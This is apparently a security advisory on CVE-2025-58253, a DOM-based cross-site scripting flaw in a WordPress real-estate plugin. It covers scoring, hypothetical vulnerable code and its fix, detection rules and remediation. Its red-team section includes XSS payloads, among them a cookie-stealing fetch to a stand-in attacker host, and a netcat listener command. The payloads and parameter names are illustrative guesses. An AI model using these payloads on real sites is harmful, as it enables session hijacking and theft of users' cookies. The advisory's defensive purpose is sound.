CVE-2025-58253

Executive Summary

CVE-2025-58253 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Real Estate Manager WordPress plugin by Rameez Iqbal, affecting versions up to and including 7.3. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. Since this is a WordPress plugin, the attack surface is limited to sites running the vulnerable plugin, but the impact includes session hijacking, defacement, and data theft. No public proof-of-concept (PoC) or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction (e.g., clicking a crafted link) and does not directly lead to server compromise, but can be used to steal session tokens or perform actions on behalf of the victim.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS, meaning the injection occurs entirely on the client side. The plugin likely processes user input (e.g., via URL parameters, form fields, or stored data) and inserts it into the DOM without proper sanitization. For example, a parameter like ?property_id=<script>alert(1)</script> might be reflected in a JavaScript variable or HTML attribute, leading to script execution.

Root Cause: The plugin fails to escape or validate input before using it in DOM manipulation functions (e.g., innerHTML, document.write, or jQuery .html()). This allows an attacker to break out of the intended context and inject arbitrary HTML/JavaScript.

Attack Flow:

1. Attacker crafts a malicious URL containing XSS payload in a vulnerable parameter.
2. Victim clicks the link (or visits a page with stored XSS).
3. The plugin's JavaScript processes the input and writes it to the DOM without sanitization.
4. The payload executes in the victim's browser, allowing the attacker to steal cookies, redirect, or perform actions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common DOM-XSS patterns.

Vulnerable Code (JavaScript):

// Vulnerable: directly using user input in innerHTML
var propertyId = new URLSearchParams(window.location.search).get('property_id');
document.getElementById('property-details').innerHTML = 'Property ID: ' + propertyId;

Patched Code (JavaScript):

// Patched: using textContent to prevent HTML injection
var propertyId = new URLSearchParams(window.location.search).get('property_id');
document.getElementById('property-details').textContent = 'Property ID: ' + propertyId;

Alternatively, proper sanitization using DOMPurify or encoding functions should be applied.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site running Real Estate Manager <= 7.3.
• Ability to craft a malicious link.

Exploit Steps:

1. Identify a vulnerable parameter (e.g., property_id, search, or listing).
2. Craft a payload: ?property_id=<img src=x onerror=alert(document.cookie)>
3. Send the link to the victim via phishing or social engineering.
4. Upon clicking, the payload executes, exfiltrating cookies or performing actions.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Lab Setup:

• Use a local WordPress installation with the vulnerable plugin.
• Set up a listener (e.g., nc -lvnp 80 or a webhook service) to capture exfiltrated data.

Blue Team (Detection & Response)

Detection:

• Monitor web logs for suspicious URL parameters containing <script>, <img onerror>, or other XSS patterns.
• Use WAF rules to block common XSS payloads.
• Deploy browser-based CSP headers to mitigate impact.

Response:

• Isolate affected users and reset their sessions.
• Remove any stored malicious content from the database.
• Apply virtual patching via WAF until an official patch is released.

Indicators of Compromise (IOCs)

• URL Patterns: ?property_id=<script>, ?search=<img onerror=, ?listing=javascript:
• Network Traffic: Outbound requests to attacker-controlled domains containing cookie data.
• Log Entries: HTTP 200 responses with XSS payloads in query strings.
• File Hashes: (None available; plugin files may be modified if stored XSS is used).

Detection Engineering

YARA Rule

rule detect_real_estate_manager_dom_xss {
    meta:
        description = "Detects DOM-based XSS patterns in Real Estate Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58253"
    strings:
        $xss1 = /property_id\s*=\s*[^&]*<script/i
        $xss2 = /search\s*=\s*[^&]*<img\s+onerror/i
        $xss3 = /listing\s*=\s*[^&]*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: Real Estate Manager DOM XSS Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential DOM-based XSS attempts targeting Real Estate Manager plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'property_id=<script'
            - 'search=<img onerror'
            - 'listing=javascript:'
    condition: selection
falsepositives:
    - Legitimate use of similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-58253 Real Estate Manager DOM XSS Attempt"; flow:to_server; content:"property_id=<script"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2025-58253 Real Estate Manager DOM XSS Attempt"; flow:to_server; content:"search=<img onerror"; nocase; classtype:web-application-attack; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2025-58253 Real Estate Manager DOM XSS Attempt"; flow:to_server; content:"listing=javascript:"; nocase; classtype:web-application-attack; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Apply virtual patching via WAF to block XSS payloads in query strings.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Long-Term Fix:

• The vendor must release a patched version that properly sanitizes user input using textContent or DOMPurify.
• Users should update to the latest version once available.

Workarounds:

• Use a security plugin (e.g., Wordfence) to block malicious requests.
• Manually edit the plugin's JavaScript files to replace innerHTML with textContent (not recommended for production).

Valters IT
Securing Digital Frontiers